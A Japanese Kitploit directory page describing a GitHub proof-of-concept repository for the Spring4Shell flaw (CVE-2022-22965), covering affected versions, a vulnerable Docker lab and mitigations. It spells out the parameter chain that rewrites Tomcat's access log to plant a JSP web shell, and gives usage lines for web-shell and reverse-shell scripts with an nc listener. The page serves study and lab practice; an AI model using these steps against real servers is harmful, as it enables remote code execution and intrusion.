Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
ツール/GitHubGitHub/march0n/poc-cve-2022-22965-spring4shell
ペイロード生成脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト学習と教育ラボと実践
GitHubmarch0n/poc-cve-2022-22965-spring4shell

PoC-CVE-2022-22965-Spring4Shell

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

説明

リポジトリを見る
23ヶ月前未レビュー

PoC — CVE-2022-22965 (Spring4Shell)

免責事項: このリポジトリは 教育および研究目的のみ を意図しています。 すべてのエクスプロイトスクリプトは、自分が所有するシステム、または明示的な書面による 許可を得たシステムに対してのみ使用する必要があります。著者は、この資料の誤用または損害について一切責任を負いません。

CVE-2022-22965は、2022年4月に公開されたSpring Frameworkにおける重大なリモートコード実行(RCE)脆弱性であり、その調査と概念実証(PoC)です。


脆弱性の概要

Spring4Shell は、以下のすべての条件が満たされた場合に、Spring MVCおよびSpring WebFluxアプリケーションに影響を及ぼします:

条件値
JDKバージョン9以上
アプリケーションサーバーApache Tomcat
パッケージングWAR(実行可能JARではない)
Spring Framework< 5.3.18 または < 5.2.20

仕組み

Springのデータバインディングメカニズムは、HTTPリクエストパラメータをドット表記(例:user.name=foo)でJavaオブジェクトのプロパティにマッピングすることを可能にします。この脆弱性は、このトラバーサルが適切に制限されていないために発生します — 攻撃者はモデルオブジェクトのクラス階層を通じてJVM ClassLoader に到達できます:

root@kitploit:~
class.module.classLoader.resources.context.parent.pipeline.first.<property>

このパスはTomcatの AccessLogValve に到達し、そのログ設定を実行時に操作できます。pattern、directory、prefix、suffix などのプロパティを変更することで、攻撃者はTomcatのアクセスログをリダイレクトし、任意のJSPコードを含む .jsp 拡張子のファイルを書き込ませます — これにより事実上、サーバー上に Webシェル が仕掛けられます。

攻撃の流れ

root@kitploit:~
1. POST /vulnerable
   class.module.classLoader.resources.context.parent.pipeline.first.pattern=<JSP payload>
   class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
   class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT
   class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell
   class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

2. Tomcat writes the access log to webapps/ROOT/shell.jsp with the injected payload

3. GET /shell.jsp?cmd=id  →  RCE

リポジトリ構成

root@kitploit:~
.
├── exploits/
│   ├── exploit1.py   # POST-based web shell with password protection
│   ├── exploit2.py   # POST-based web shell with reset capability
│   ├── exploit3.py   # GET-based variant (simplified)
│   ├── exploit4.py   # Reverse TCP shell (GET-based)
│   └── exploit4b.py  # Reverse TCP shell (POST-based)
└── springmvc5-helloworld-example/
    ├── Dockerfile    # Uses pre-built tomcat:9.0.60 image
    ├── Dockerfile2   # Builds from openjdk:11 + downloads Tomcat
    ├── pom.xml       # Maven project — Spring MVC 5.3.17 (vulnerable)
    └── src/          # Vulnerable Spring MVC application source

エクスプロイトのバリエーション

使用例

root@kitploit:~
# Web shell
python3 exploits/exploit1.py http://target:8080/vulnerable

# Reverse shell (start listener first: nc -lvnp 4444)
python3 exploits/exploit4.py --url http://target:8080/vulnerable --lhost <YOUR_IP> --lport 4444

ラボのセットアップ

前提条件

  • Java 11以上
  • Maven(sudo apt install maven または sudo dnf install maven)
  • Docker(任意、推奨)

ビルド

root@kitploit:~
cd springmvc5-helloworld-example
mvn clean package

Dockerで実行

root@kitploit:~
# Option 1 — pre-built Tomcat image
docker build -t spring4shell .
docker run -p 8082:8080 spring4shell

# Option 2 — build from openjdk + download Tomcat
docker build -t spring4shell -f Dockerfile2 .
docker run -p 8082:8080 spring4shell

アプリケーションには http://localhost:8082/vulnerable でアクセスできます。


緩和策

  • Spring Frameworkを 5.3.18+ または 5.2.20+ にアップグレード
  • Spring Bootを 2.6.6+ または 2.5.12+ にアップグレード
  • 直ちにアップグレードできない場合:
    • JDK 8にダウングレード
    • WebDataBinder.setDisallowedFields() を使用して classLoader のバインディングをブロック
    • class.、Class.、module.、classLoader を含むパラメータをブロックするWAFルールを導入

クレジット

元の研究とエクスプロイトコードは @march0n によるものです。 このリポジトリは学習目的のための脆弱性に関する個人研究であり、追加のドキュメントと分析が含まれています。


参考文献

  • CVE-2010-1622 — オリジナルのSpring ClassLoaderエクスプロイト(2010年)
  • 最初の中国語による開示(Weixin)
  • Microsoft Security Blog — SpringShellのガイダンス
  • LunaSec — Spring RCE脆弱性の分析
  • Palo Alto Unit 42 — CVE-2022-22965の詳細分析
ツールをダウンロード
スクリプトメソッドペイロード備考
exploit1.pyPOSTWebシェル(パスワード保護)単一リクエスト
exploit2.pyPOSTWebシェルエクスプロイト前後にログ設定をリセット
exploit3.pyGETWebシェル(パスワードなし)クエリ文字列経由のパラメータ
exploit4.pyGETリバースTCPシェルmsfvenomベースのJSPペイロード
exploit4b.pyPOSTリバースTCPシェルexploit4と同じペイロード、POST版